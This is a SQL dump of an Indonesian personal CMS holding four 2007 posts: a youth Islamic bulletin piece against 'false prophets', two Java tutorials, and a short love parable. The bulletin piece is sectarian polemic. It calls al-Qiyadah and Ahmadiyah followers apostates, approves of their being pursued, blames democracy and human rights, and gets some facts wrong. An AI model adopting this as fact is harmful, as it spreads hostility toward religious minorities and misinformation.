insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (62,'2007-11-10 17:27:56','Awas, Ada Nabi Palsu!','Awas, Ada Nabi Palsu!\r\nPosted in Buletin GAUL Islam, Tahun I/2007 by Farah Zuhra edisi 003/tahun I (12 Nopember 2007)\r\n\r\nKetipu punya uang palsu? Atau tas bermerk tapi palsu? Atau jam tangan palsu? Pastinya nyesek banget dada kita kalo punya barang yang ternyata ketauan palsu. Udah mahal, eh taunya kagak orisinil. Apalagi kalo udah sempet kita bangga-banggain ama temen-temen, aduh mokal berat. Rasanya pengen deh ditelen bumi.\r\n\r\nTapi nggak ada yang lebih bikin ati kesel kalo ternyata ada nabi palsu. Yoi, jaman canggih kayak begini bukan cuma duit atau barang-barang branded yang bisa dipalsuin, tapi nabi juga bisa dibikin tiruannya. Contohnya adalah apa yang diyakini ama orang-orang di aliran al-Qiyadah al-Islamiyah. Mereka ngakunya udah punya nabi lagi setelah Muhammad saw. Malah mereka udah bersyahadat ulang dengan mengganti lafadz “wa asyhadu anna Muhammad ar rasulullah” menjadi “wa asyhadu anna al masih al maw’ud ar rasulullah”. Astaghfirullah al adzim wa na’udzubillahi min dzalik! Jadi aja jamaah al-Qiyadah al-Islamiyah ini diuber-uber kaum muslimin yang keki. Markasnya disatroni umat, dan ajarannya dihujat sebagai sesat. Iyalah, emang jelas-jelas sesat!\r\n\r\nBalada nabi palsu\r\n\r\nAdalah seorang lelaki paruh baya bernama Ahmad Mushaddeq yang mengaku mendapat wahyu setelah bertapa di padepokannya di sebuah kawasan di Bogor. Setelah itu ia memproklamirkan diri sebagai nabi berikutnya setelah Rasulullah saw. dengan sebutan al masih al maw’ud. Ternyata, nggak sedikit orang yang percaya pada omongan mantan pelatih bulutangkis nasional ini. Dari pemberitaan sedikitnya 50 ribu orang pengikutnya tersebar di sejumlah kota di tanah air. Kebanyakan anak-anak muda, pelajar dan mahasiswa.\r\n\r\nBeruntung, tak lama kemudian sejumlah ormas Islam termasuk MUI bergerak. Pemimpinnya dilaporkan ke kepolisian, pengikutnya ajak bertobat, dan ajarannya dinyatakan sesat. Terakhir sang nabi palsu ini pun menyerahkan diri ke pihak yang berwajib.\r\n\r\nSebetulnya bermunculannya orang-orang yang mengaku sebagai nabi palsu sudah ada sejak dahulu kala. Di jaman Nabi saw. masih hidup saja sudah ada orang yang berani mengaku-ngaku sebagai nabi. Yakni Aswad al-’Ansiy dan Musailamah al-Kadzdzab.\r\n\r\nAswad al-’Ansiy sebenarnya adalah Abhalah bin Ka’ab al-’Ansiy. Dia adalah kepala Bani Madzhij di daerah Yaman. Dia seorang tukang tenung (santet), tukang sihir, dan seorang yang kaya raya di Shan’a. Dia sangat berpengaruh di kalangan kaumnya dan banyak yang terpikat kepadanya karena kelebihannya. Banyak orang yang kagum kepadanya karena menyaksikan sihirnya yang menakjubkan. Pada akhir tahun ke-10 Hijriyah, Aswad telah memproklamirkan diri sebagai nabi yang ditunjuk oleh Allah. Menurut pengakuannya dia didampingi oleh dua malaikat yang memberitahukan kepadanya apa saja yang telah dan akan terjadi. Kedua malaikat itu bernama Suhaiq dan Syuqaiq. Sebenarnyalah kedua makhluk yang mendampingi Aswad adalah setan yang biasa mendampingi tukang sihir dan tukang tenung.\r\n\r\nKejahatan Aswad al-’Ansiy akhirnya dapat dihancurkan oleh kaum muslimin. Ia sendiri mati di tangan Fairuz ad-Daylamiy dengan cara dipenggal lehernya dalam keadaan mabuk.\r\n\r\nSedangkan Musailamah adalah Harun bin Habib al-Hanafiy. Dia adalah kepala suku Yamamah. Pada tahun ke-10 Hijriyah, dia bersama rombongannya sebagai utusan dari Bani Hanifah datang menghadap Nabi saw. di Madinah dan memeluk Islam. Namun sekembalinya dari Madinah dia berbalik menjadi kafir, murtad. Dia mendakwakan diri sebagai nabi.\r\n\r\nTernyata, selain punya motif keagamaan, Musailamah juga ingin kekuasaan. Lewat dua orang utusannya ia mengirim surat kepada Nabi saw. Isi suratnya sebagai berikut, “Dari Musailamah utusan Allah kepada Muhammad utusan Allah. Kesejahteraan semoga dilimpahkan atasmu. Aku telah bersekutu dalam urusan kenabian ini denganmu dan bagi kami separuh tanah dan bagi Quraisy separuh tanah, tetapi kaum Quraisy adalah kaum yang melampaui batas.”\r\n\r\nKejahatan Musailamah baru terhenti di masa kekhilafahan Abu Bakar ash-Shiddiq. Untuk mengatasi kekuatan pasukan Musailamah, Khalifah Abu Bakar ash-Shiddiq mengirim pasukan di bawah pimpinan Khalid bin Walid ra. melalui peperangan yang dahsyat akhirnya kekuatan Musailamah dapat dimusnahkan. Ia sendiri mati ditombak oleh Wahsyi hingga tembus ke tubuh bagian belakangnya.\r\n\r\nTapi ternyata kemunculan nabi-nabi palsu tidak berhenti sampai di situ. Salah satu nabi palsu yang paling ‘ngetop’ adalah Mirza Ghulam Ahmad. Dengan bantuan pemerintah kolonial Inggris, Mirza Ghulam Ahmad mendirikan ajaran Ahmadiyah Qadiyani. Dia sendiri menyatakan sebagai nabi setelah Rasulullah saw. Dia pun memperkenalkan kitab suci selain al-Quran, yakni kitab Tadzkirah. Karena dibantu oleh negara imperialis Inggris maka Ahmadiyah sampai sekarang masih bertahan. Bahkan pusat pergerakan agama itu berada di London.\r\n\r\nBahaya, Lho!\r\n\r\nMunculnya nabi-nabi palsu itu jelas nggak diakui oleh agama Islam. Sejak kedatangan Rasulullah saw., umat manusia diingatkan bahwa nggak bakal ada lagi utusan Allah sepeninggal Beliau. Dalam al-Quran, Allah Swt. berfirman (yang artinya): “Muhammad itu sekali-kali bukanlah bapak dari seorang laki-laki di antara kamu, tetapi dia adalah Rasulullah dan penutup nabi-nabi. Dan adalah Allah Maha Mengetahui segala sesuatu.” (QS al-Ahzab [33]: 40)\r\n\r\nSelain itu, Nabi Muhammad saw. juga sudah berwasiat lho kepada kita semua bahwa emang nggak ada lagi nabi sepeninggal beliau. Sabdanya: “Dulu Bani Israil yang mengurus mereka adalah para nabi, jika salah seorang nabi wafat maka nabi yang lain menggantikannya. Tetapi sesungguhnya tak ada nabi setelahku, dan akan ada para khalifah dan jumlah mereka banyak.” Para sahabat bertanya, “Maka apa yang engkau perintahkah pada kami?” Jawab Rasulullah saw. “Penuhilah bai’at yang pertama dan pertama, dan berilah pada mereka hak mereka, sesungguhnya Allah akan menanyai mereka atas apa yang mereka urus.” (HR Muslim)\r\n\r\nNabi saw. juga pernah berkata kepada Ali bin Abi Thalib karamallahu wajhah, “Wahai Ali tidakkah engkau ridlo kedudukanmu di sisiku seperti Harun as. bagi Musa as.? Akan tetapi bahwasanya tak ada lagi nabi sepeninggalku.” (HR. Bukhari)\r\n\r\nSo, guys, semoga semuanya jelas bahwa Rasulullah saw. emang nabi terakhir. Nggak ada lagi nabi berikutnya. Pengakuan mereka yang menyatakan diri sebagai nabi lagi bertentangan ama al-Quran dan as-Sunnah. Palsu banget dan nggak kreatif. Pelakunya jelas berdosa besar dan pasti udah keluar dari agama Islam (baca: murtad). Karena keimanan pada Allah juga harus dibarengi dengan iman pada kenabian Muhammad saw. sebagai penutup para nabi dan rasul. Nah, catet baik-baik deh ini. Ok?\r\n\r\nMaka pelakunya kudu bertobat sebelum mereka mati. Apalagi kalo kemudian mereka menyebarkan ajarannya pada banyak orang, wah nggak kebayang sebanyak apa dosanya karena mengajarkan kesesatan pada orang lain. Rasulullah saw. bersabda: “…Dan siapa saja yang mencontohkan perbuatan yang buruk kemudian ia berbuat dengannya, maka ia mendapat balasannya dan balasan orang yang mengikutinya tanpa mengurangi balasan mereka sedikitpun,” (HR. Ibnu Majah)\r\n\r\nBegitupula para pengikutnya kudu bertobat dan meninggalkan jamaah tersebut. Dan pastinya mereka harus kembali mengucapkan dua kalimat syahadat, dikarenakan mereka udah mengikrarkan sesuatu yang memurtadkan. Kalo mereka bertobat, insya Allah pintu tobat akan dibuka seluas-luasnya oleh Allah.\r\n\r\nKebebasan beragama\r\n\r\nGuys, nggak usah heran kenapa hari gini muncul aliran-aliran nyeleneh plus nabi-nabi palsu. Ada dua sebabnya; pertama, banyak orang yang awam terhadap agamanya sendiri (baca: Islam). Tapi, meski awam alias kurang ngerti, mereka berani menakwilkan ajaran Islam termasuk menakwilkan al-Quran. Hasilnya? Ngaco kuadrat! Karenanya, Nabi saw. mengingatkan kita semua tentang bahayanya kebodohan: “Umatku rusak oleh dua golongan manusia; orang alim yang keji dan orang bodoh yang suka beribadah.”\r\n\r\nSo, kalau kita ngerasa awam-dan emang lebih baik kita ngerasa begitu-seharusnya kita bertanya pada orang yang lebih tahu, pada ustad, pada ulama, banyakin juga baca buku-buku agama. Tujuannya agar kita nggak salah dalam memahami agama. Allah Ta’ala berfirman (yang artinya): “Janganlah kamu ikuti segala sesuatu yang kamu tidak punya pengetahuan tentangnya, sesungguhnya pendengaran, penglihatan dan hati masing-masing ada pertanggungjawabannya.” (QS al-Isra [17]: 36)\r\n\r\nJadi, dengan banyaknya aliran sesat bin aneh, bukannya kita malah takut ngaji, justru kudu banyak ngaji biar semakin paham kebenaran. Tapi, tentu ngajinya yang benar. Ngaji yang benar gimana? Pahami Islam sebagai akidah dan syariat, cari kelompok pengajian yang sesuai dengan kebenaran Islam.\r\n\r\nSelain itu, emang bisa jadi lahirnya kelompok-kelompok nyeleneh itu adalah niatan untuk menghancurkan agama Islam. Ini terbukti dari kasus nabi-nabi palsu sebelumnya, termasuk aliran Mirza Ghulam Ahmad. Mereka muncul untuk merusak Islam dan kaum muslimin. Mereka juga bisa jadi adalah orang-orang bayaran kaum kuffar untuk bikin umat Islam semakin kacau.\r\n\r\nTapi guys, bermunculannya ajaran-ajaran itu adalah buah dari demokrasi. Yup, demokrasi itu kan sangat mengagung-agungkan kebebasan, termasuk kebebasan beragama (freedom for religion/hurriyatul aqidah). Menurut paham demokrasi dan hak asasi manusia, setiap orang bebas beragama, menjalankan agama, tidak beragama dan bikin agama sendiri. Halah!\r\n\r\nDi negara demokrasi macam Amrik banyak lahir ajaran agama selain Kristen. Sebut aja ada Klu Klux Klan, ada sektenya Charles Manson yang ngetop di tahun 60-an karena melakukan pembunuhan terhadap sejumlah wanita termasuk seorang aktris terkenal, ada juga sekte Temple’s People yang dipimpin pendeta Jim Jones, ada nabi yang bernama David Koresh yang kemudian melakukan baku tembak dengan polisi federal AS (FBI), dan terakhir adalah sekte Gerbang Surga yang melakukan aksi bunuh diri massal di tahun 1997.\r\n\r\nSemua agama-agama baru itu ada dengan restu demokrasi dan HAM. Sah aja kok warga negara bikin agama sendiri. Nah, di Indonesia juga dimungkinkan adanya yang seperti itu. Bahkan ketika aliran-aliran sesat itu dihujat, ada segelintir orang yang membela mereka mati-matian. Alasannya, berbeda itu kan hak asasi.\r\n\r\nItu sebabnya nggak usah heran, selama demokrasi dan HAM masih dipuja-puja, maka di masa mendatang akan terus berdatangan nabi-nabi palsu. Malah kedatangan mereka akan dilindungi atas nama hak asasi manusia. Jadi, kalo nabi palsu dihujat karena membawa kesesatan, harusnya demokrasi dan HAM juga dihujat. Itu pun kalau umat Islam ingin selamat dunia wa akhirat.\r\n\r\nSo, penting banget deh umat Islam kembali pada Islam, menegakkan al-Quran dan as-Sunnah, dan membuang aliran-aliran yang bukan datang dariNya. Cukup deh percaya pada Allah dan RasulNya, jangan pada yang laen! <b>[iwan januar]</b>',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (63,'2007-11-12 09:27:10','Bikin Annotations di Java','<b>Annotations</b>\r\n\r\n\"Yak ketika muncul Neatbeans 5, muncul istilah Annotations, jadi semacam initial untuk method yang kita buat pada class, kehadirannya sangat membantu untuk merapikan struktur coding kita. :) artikel ini diambil langsung dari \" <a href=\"http://www.informit.com\" target=\"_blank\">http://www.informit.com</a>, jujur aja males buat translate ke bahasa indonesia banyak kerjaan je. :P\r\n\r\nOne of the more powerful features added to Java 5 and exploited heavily in the Enterprise JavaBeans (EJB) 3.0 specification is the concept of annotations. Annotations are markups, like meta-tags, that you can add to your classes and/or methods that provide additional information that can later be retrieved by a class aware of your annotation. The annotations do not affect the code running in the marked up class, but rather allow containers to treat a class differently if it has the annotation present.\r\n\r\nAs an example, consider the ForumBean Entity Bean that we built in the EJB 3.0 Forums tutorial:\r\n\r\n@Entity\r\n@Table(name = \"FORUM\" )\r\npublic class ForumBean implements java.io.Serializable\r\n{\r\n ...\r\n @Id (generate = GeneratorType.AUTO)\r\n public int getId()\r\n {\r\n return this.id;\r\n }\r\n ...\r\n}There are three annotations defined in this Entity Bean:\r\n\r\n@Entity: this annotation denotes that this Plain-Old Java Object (POJO) can be used as an Entity Bean. If the object is used outside the context of an EJB container (or more specifically in EJB 3.0, simply not used with an EntityManager) then it behaves as a simple Java class \r\n@Table: this annotation defines the table in a database that this Entity Bean’s fields are stored in. Again, if this object is used with an EntityManager then it will be able to persist this Entity Bean to the specified database table, but if it is not then it is still just a POJO. \r\n@Id: this annotation identifies this property (\"Id\") as the primary key for this Entity Bean. Furthermore, it has a parameter named \"generate\" that is set to GeneratorType.AUTO, denoting that the container should generate primary keys on behalf of this Entity Bean \r\nIt is nice that the EJB specification provided these annotations, but in this article I would like to dive deeper and explore how to create and use annotations in your code.\r\n\r\n<b>Creating an Annotation</b>\r\n\r\nAn annotation is really nothing more than an interface marked up with an ampersand (@) that defines valid fields definitions. For example, if we want to build an annotation that mapped an object to a particular database table, we could do so with the code in listing it.\r\n\r\nListing 1. Table.java\r\npackage com.javasrc.annotations;\r\n\r\npublic @interface Table {\r\n String name();\r\n}This annotation is named \"Table\" and defines a single attribute: \"name.\" Now if we create a class that we want to persist to a specific database table we could do so with the code in listing 2.\r\n\r\nListing 2. MyObject.java (version 1)\r\npackage com.javasrc.datamodel;\r\n\r\nimport com.javasrc.annotations.Table;\r\n\r\n@Table( name=\"MyTable\" )\r\npublic class MyObject {\r\n private String myField;\r\n\r\n public String getMyField() {\r\n return myField;\r\n }\r\n\r\n public void setMyField( String myField ) { this.myField = myField;\r\n }\r\n}\r\nThis simple example imports the Table annotation and marks that MyObject should be persisted to the table named \"MyTable.\" Note that we’re not actually doing any persistence — as soon as we build a class that reads the \"name\" property from a class implementing the Table annotation then we can do something interesting. \r\n\r\nBefore we call it a day we’re going to need to add a little more information to the Table annotation. Specifically, when we read annotations, they are only available to us based off the retention policy that we define. The retention policy is defined using the \"@Retention\" annotation, which accepts as a parameter, one of the following three RetentionPolicy enum constant values:\r\n\r\nCLASS: Annotations are to be recorded in the class file by the compiler but need not be retained by the VM at run time \r\nRUNTIME: Annotations are to be recorded in the class file by the compiler and retained by the VM at run time, so they may be read reflectively \r\nSOURCE: Annotations are to be discarded by the compiler \r\nSOURCE and CLASS values will not be available to us at runtime, so if we want to be able to read the Table annotation, we will need to define a RUNTIME retention policy. Listing 3 shows the updated Table annotation listing.\r\n\r\nListing 3. Table.java\r\npackage com.javasrc.annotations;\r\n\r\nimport java.lang.annotation.Retention;\r\nimport java.lang.annotation.RetentionPolicy;\r\n\r\n@Retention(RetentionPolicy.RUNTIME)\r\npublic @interface Table {\r\n String name();\r\n}\r\nWith the retention policy set to RUNTIME, the class that we write in the next section will be able read the Table annotation at runtime (which is what we need to actually use the annotation.) There is one more annotation that we may want to define that specifies the valid targets (class-level, method-level, etc) for our annotations. This is accomplished using the \"@Target\" annotation that accepts an array of ElementTypes:\r\n\r\nANNOTATION_TYPE: Annotation type declaration \r\nCONSTRUCTOR: Constructor declaration \r\nFIELD: Field declaration (includes enum constants) \r\nLOCAL_VARIABLE: Local variable declaration \r\nMETHOD: Method declaration \r\nPACKAGE: Package declaration \r\nPARAMETER: Parameter declaration \r\nTYPE: Class, interface (including annotation type), or enum declaration \r\nBy default, the annotation will be targeted at classes, but if we would like to make an annotation available to a method or to a field we need to explicitly setup the target to include METHOD and/or FIELD. Listing 4 shows a sample annotation, \"@Column,\" that is scoped to class methods and fields.\r\n\r\nListing 4. Column.java\r\npackage com.javasrc.annotations;\r\n\r\nimport java.lang.annotation.Retention;\r\nimport java.lang.annotation.RetentionPolicy;\r\nimport java.lang.annotation.Target;\r\nimport java.lang.annotation.ElementType;\r\n\r\n@Retention(RetentionPolicy.RUNTIME)\r\n@Target({ElementType.METHOD, ElementType.FIELD})\r\npublic @interface Column {\r\n String value();\r\n}\r\nThe @Column annotation defines a RUNTIME retention policy and is targeted at METHODs and FIELDs and defines a single parameter: value. Listing 5 shows the final version of the MyObject source code for this example, complete with column names.\r\n\r\nListing 5. MyObject.java \r\npackage com.javasrc.annotations.test;\r\n\r\nimport com.javasrc.annotations.Table;\r\nimport com.javasrc.annotations.Column;\r\n\r\n@Table(name=\"MYTABLE\")\r\npublic class MyObject {\r\n\r\n private int id;\r\n private String data;\r\n\r\n public MyObject() {\r\n }\r\n\r\n public MyObject(int id, String data) {\r\n this.id = id;\r\n this.data = data;\r\n }\r\n\r\n @Column(\"MYTABLE_ID\")\r\n public int getId() {\r\n return id;\r\n }\r\n\r\n public void setId(int id) {\r\n this.id = id;\r\n }\r\n\r\n @Column(\"MYTABLE_DATA\")\r\n public String getData() {\r\n return data;\r\n }\r\n\r\n public void setData(String data) {\r\n this.data = data;\r\n }\r\n}\r\nAt the class level we assign the MyObject class to be persisted to the \"MYTABLE\" table. Then on the get() methods we added the @Column annotation to define the column mappings. An interesting thing to note here is that in the annotation declaration we did not specify value=\"MYTABLE_ID\" but simply \"MYTABLE.\" The reason is that if you define an annotation with a single parameter named \"value\" then the JVM will handle assigning your value to the \"value\" parameter. We could have done this with the @Table annotation, but (1) I wanted to illustrate how assign an explicit value within an annotation and (2) there is a good chance that the @Table annotation would define additional parameters, so you would want to specify each explicitly.\r\n\r\n<b>Reading Annotations</b>\r\n\r\nIn the previous section we defined two annotations:\r\n\r\n@Table: annotation defined at the class level that defines a \"name\" attribute that is used to define the name of the table that an object should to be persisted to \r\n@Column: annotation defined at the field level that defines the column name that a particular column should be persisted to \r\nAnd then we created an object, MyObject, that implemented these annotations. Now it is time to build a class that reads objects that implement these annotations and then make use of them. The example we’ll build is the framework for a data persistence engine: it reads objects, extracts their table and column names as well as the values for each column, and then displays the information to the screen. I leave the rest of this data persistence project as an exercise for you.\r\n\r\nReading an annotation implemented by an object is a two-step process:\r\n\r\nObtain a Class instance for the annotation \r\nObtain a Class instance for the target object and call its getAnnotation() method, passing it the Annotation class instance acquired in step 1 \r\nFor example:\r\n\r\nClass tableClass = Class.forName( \"com.javasrc.annotations.Table\" );\r\nTable table = ( Table )o.getClass().getAnnotation( tableClass );The Class.forName() method call finds the specified class name in the class loader hierarchy and returns its java.lang.Class instance. Given the object o, we call its getClass() method to obtain its java.lang.Class instance and then we call the class’s getAnnotation() method, passing it the annotation’s class.\r\n\r\nOnce you have the annotation, you are able to obtain its parameter value by invoking the parameter method name. Recall that the @Table annotation is really a special type on interface that has a method called name(). When we have a Table instance, we can invoke its name() method:\r\n\r\nSystem.out.println( \"Table name: \" + table.name() );Reading field annotations is similar and we’ll explore that in the example below. Listing 1 shows the code for the DataPersister class.\r\n\r\nListing 1. DataPersister.java\r\npackage com.javasrc.annotations;\r\n\r\nimport com.javasrc.annotations.Table;\r\nimport com.javasrc.annotations.Column;\r\nimport com.javasrc.annotations.test.MyObject;\r\n\r\nimport java.lang.reflect.Method;\r\n\r\n/**\r\n * The DataPersister provides an example for reading the @Table and @Column annotations\r\n * from a class.\r\n */\r\npublic class DataPersister {\r\n\r\n public static void persist( Object o )\r\n {\r\n try\r\n {\r\n // Get the table annotation\r\n Class tableClass = Class.forName( \"com.javasrc.annotations.Table\" );\r\n Table table = ( Table )o.getClass().getAnnotation( tableClass );\r\n\r\n if( table == null )\r\n {\r\n // This object doesn’t support the table annotation\r\n System.out.println( \"I cannot persist this object, it does not support the @Table annotation\" );\r\n return;\r\n }\r\n\r\n // Read the table name\r\n System.out.println( \"Table name: \" + table.name() );\r\n\r\n // Access the column class so that we can extract it from our get methods\r\n Class columnClass = Class.forName( \"com.javasrc.annotations.Column\" );\r\n\r\n // Read the object’s columns, which are assigned to the get methods\r\n Method[] methods = o.getClass().getMethods();\r\n for( int i=0; i<methods.length; i++ )\r\n {\r\n String methodName = methods[ i ].getName();\r\n if( methodName.startsWith( \"get\" ) || methodName.startsWith( \"is\" ) )\r\n {\r\n // Skip over \"getClass()\"\r\n if( !methodName.equals( \"getClass\" ) )\r\n {\r\n Column column = ( Column )methods[ i ].getAnnotation( columnClass );\r\n String columnName = null;\r\n if( column != null )\r\n {\r\n columnName = column.value();\r\n //System.out.println( \"\\t\" + column.value() );\r\n }\r\n else\r\n {\r\n // Derive the column name from the method name...\r\n if( methodName.startsWith( \"get\" ) )\r\n {\r\n columnName = Character.toLowerCase( methodName.charAt( 3 ) ) +\r\n methodName.substring( 4 );\r\n }\r\n else\r\n {\r\n columnName = Character.toLowerCase( methodName.charAt( 2 ) ) +\r\n methodName.substring( 3 );\r\n }\r\n }\r\n\r\n // Read the value\r\n Object res = methods[ i ].invoke( o, new Object[] {} );\r\n System.out.println( \"\\t\" + columnName + \" = \" + res );\r\n }\r\n }\r\n }\r\n }\r\n catch( Exception e )\r\n {\r\n e.printStackTrace();\r\n }\r\n }\r\n\r\n public static void main( String[] args )\r\n {\r\n MyObject o = new MyObject( 10, \"Hello, World\", \"Other Field\" );\r\n DataPersister.persist( o );\r\n\r\n }\r\n}This code yields the following output:\r\n\r\nTable name: MYTABLE\r\n other = Other Field\r\n MYTABLE_ID = 10\r\n MYTABLE_DATA = Hello, WorldIn order to discover all of the methods in an object that implement the Column annotation, the DataPersister uses reflection to access all of the object’s methods. Given an object, we can call getClass() to obtain the java.lang.Class instance for that object and then we can call getMethods() to obtain an array of its methods. We then examine all \"getter\" methods, which are methods that start with \"get\" or \"is,\" excluding the getClass() method.\r\n\r\nOnce we have a getter method, we call its getAnnotation() method, passing it the Column’s class, to obtain the annotation instance, that we then case to a Column. We can then invoke the value() method to obtain the column name. I did modify the MyObject class to add another parameter named \"other\" that does not define a column name so that you can see that the parameter name will be used if a Column is not defined. The \"other\" parameter is accessed through the following getter method:\r\n\r\n public String getOther() {\r\n return other;\r\n }\r\n\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (64,'2007-11-13 20:52:23','Ketika Cinta Terurai Menjadi Perbuatan','Ketika Cinta Terurai Menjadi Perbuatan \r\n<a href=\"http://dudung.net\" target=\"_blank\">http://dudung.net</a>\r\n\r\nKulitnya hitam. Wajahnya jelek. Usianya tua.\r\nWaktu pertama kali masuk ke rumah wanita itu, hampir saja ia percaya kalau ia berada di rumah hantu. Lelaki kaya dan tampan itu sejenak ragu kembali. Sanggupkah ia menjalani keputusannya? Tapi ia segera kembali pada tekadnya. Ia sudah memutuskan untuk menikahi dan mencintai perempuan itu. Apapun resikonya.\r\n\r\nSuatu saat perempuan itu berkata padanya, \"Ini emas-emasku yang sudah lama kutabung, pakailah ini untuk mencari wanita idamanmu, aku hanya membutuhkan status bahwa aku pernah menikah dan menjadi seorang istri.\" Tapi lelaki itu malah menjawab, \"Aku sudah memutuskan untuk mencintaimu.\r\nAku takkan menikah lagi.\"\r\n\r\nSemua orang terheran-heran. Keluarga itu tetap utuh sepanjang hidup mereka. Bahkan mereka dikaruniai anak-anak dengan kecantikan dan ketampanan yang luar biasa. Bertahun-tahun kemudian orang-orang menanyakan rahasia ini padanya. Lelaki itu menjawab enteng, \"Aku memutuskan untuk encintainya. Aku berusaha melakukan yang terbaik. Tapi perempuan itu melakukan semua kebaikan yang bisa ia lakukan untukku. Sampai aku bahkan tak pernah merasakan kulit hitam dan wajah jeleknya dalam kesadaranku. Yang kurasakan adalah kenyamanan jiwa yang melupakan aku pada fisik.\"\r\n\r\nBegitulah cinta ketika ia terurai jadi perbuatan. Ukuran integritas cinta adalah ketika ia bersemi dalam hati... terkembang dalam kata... terurai dalam perbuatan...\r\n\r\nKalau hanya berhenti dalam hati, itu cinta yang lemah dan tidak berdaya.\r\nKalau hanya berhenti dalam kata, itu cinta yang disertai dengan kepalsuan\r\ndan tidak nyata...\r\n\r\nKalau cinta sudah terurai jadi perbuatan, cinta itu sempurna seperti pohon;\r\nakarnya terhunjam dalam hati, batangnya tegak dalam kata, buahnya menjumbai dalam perbuatan.\r\nPersis seperti iman, terpatri dalam hati, terucap dalam lisan, dan dibuktikan oleh perbuatan.\r\n\r\nSemakin dalam kita merenungi makna cinta, semakin kita temukan fakta besar ini, bahwa cinta hanya kuat ketika ia datang dari pribadi yang kuat, bahwa\r\nintegritas cinta hanya mungkin lahir dari pribadi yang juga punya integritas. Karena cinta adalah keinginan baik kepada orang yang kita cintai yang harus menampak setiap saat sepanjang kebersamaan.\r\n\r\nRahasia dari sebuah hubungan yang sukses bertahan dalam waktu lama adalah pembuktian cinta terus menerus. Yang dilakukan para pecinta sejati disini\r\nadalah memberi tanpa henti. Hubungan bertahan lama bukan karena perasaan cinta yang bersemi di dalam hati, tapi karena kebaikan tiada henti yang\r\ndilahirkan oleh perasaan cinta itu. Seperti lelaki itu, yang terus membahagiakan istrinya, begitu ia memutuskan untuk mencintainya. Dan istrinya, yang terus menerus melahirkan kebajikan dari cinta tanpa henti.\r\n\r\nCinta yang tidak terurai jadi perbuatan adalah jawaban atas angka-angka\r\nperceraian yang semakin menganga lebar dalam masyarakat kita.**',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (65,'2007-11-14 11:44:13','Mengubah ICON pada JTree di JAVA','Mengubah ICON pada JTree di JAVA\r\n\r\nHehe, keliatannya sederhana yak tapi dah bikin gua pusing ampek dua hari, makanya diposting biar puas. Haaahhh, yes..!. hehe ini ekspresi gua waktu berhasil nyelesain.\r\nOk gak usah ba bi bu, lansung aja nanti tampilannya akan seperti ini sudara:\r\n<img src=\"http://mamat.amikom.ac.id/img_collections/jtree.gif\">\r\n\r\nNah pertama kita harus bikin data dulu, misal:\r\n[code]\r\npublic void createNode(DefaultMutableTreeNode root) {\r\n DefaultMutableTreeNode node = null;\r\n DefaultMutableTreeNode client = null;\r\n \r\n node = new DefaultMutableTreeNode(\"Node Jaringan 1\");\r\n root.add(node);\r\n client = new DefaultMutableTreeNode(\"Client 1\");\r\n node.add(client);\r\n client = new DefaultMutableTreeNode(\"Client 2\");\r\n node.add(client);\r\n \r\n node = new DefaultMutableTreeNode(\"Node Jaringan 2\");\r\n root.add(node);\r\n client = new DefaultMutableTreeNode(\"Client 1\");\r\n node.add(client);\r\n \r\n }\r\n[/code]\r\nOk habis punya data yang akan kita buat tree sekarang kita renderer ulang tampilan si JTree yang sudah difault oleh JVMnya Java.\r\n[code]\r\npublic void setChangeTree(JTree tree){\r\n ImageIcon leafIcon = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/user-24.png\"));\r\n ImageIcon leafIconOff = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/Alert-24.png\"));\r\n ImageIcon openIcon = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/node_online_24.png\"));\r\n ImageIcon closeIcon = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/node_online_24.png\"));\r\n ImageIcon openIconOff = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/node_offline_24.png\"));\r\n ImageIcon closeIconOff = new ImageIcon(getClass().getResource(\"/ipalarmdesktop/images/node_offline_24.png\"));\r\n \r\n // Update only one tree instance\r\n DefaultTreeCellRenderer renderer = (DefaultTreeCellRenderer)tree.getCellRenderer();\r\n renderer.setLeafIcon(leafIconOff);\r\n renderer.setOpenIcon(openIconOff);\r\n renderer.setClosedIcon(closeIcon);\r\n tree.setCellRenderer(renderer);\r\n\r\n // Create tree with new icons\r\n tree = new JTree();\r\n \r\n }\r\n[/code]\r\nBila kedua syarat udah dilakukan tinggal pakai aja, simple kan. Jadi nyadar lagi nih, mengapa orang berpengalaman itu lebih mahal dari pada pemula huhu :P.\r\n[code]\r\nprivate void formWindowActivated(java.awt.event.WindowEvent evt) { \r\n// TODO add your handling code here:\r\n //jButton6.setLabel(\"testing\");\r\n // Retrieve the three icons\r\n \r\n DefaultMutableTreeNode root = new DefaultMutableTreeNode(\"Monitoring Jaringan IP Alarm\");\r\n createNode(root);\r\n DefaultTreeModel tree = new DefaultTreeModel(root);\r\n jTree1.setModel(tree);\r\n setChangeTree(jTree1); \r\n \r\n } \r\n[/code]\r\n<strong>Wah</strong> tapi cara di atas digunakan untuk merubah secara sederhana aja, gimana klo kita mengubah berdasarkan data base misal ketika kondisi A maka menggunakan ICON A trus ketika kondisi B menggunakan ICON B, hehe. Gak usah bingung ternyata ada cara lain yang disediakan oleh java yaitu render ulang aja. Intinya Data yang kita masukking ke Jtree taruh dalam suatu OBjek nanti digunakan sewaktu kita panggil. Ini adalah hasilnya\r\n<img src=\"http://mamat.amikom.ac.id/img_collections/jtree1.gif\">\r\n\r\nBikin kelas kusus untuk merender tampilan JTree kita misal:\r\n[code]\r\nimport java.awt.Component;\r\nimport javax.swing.Icon;\r\nimport javax.swing.ImageIcon;\r\nimport javax.swing.JTree;\r\nimport javax.swing.tree.DefaultMutableTreeNode;\r\nimport javax.swing.tree.DefaultTreeCellRenderer;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class MyRenderer extends DefaultTreeCellRenderer {\r\n Icon leafOn;\r\n Icon leafOff;\r\n Icon nodeOn;\r\n Icon nodeOff;\r\n public String text,ip;\r\n\r\n public MyRenderer(Icon _leafOn,Icon _leafOff, Icon _nodeOn, Icon _nodeOff) {\r\n leafOn 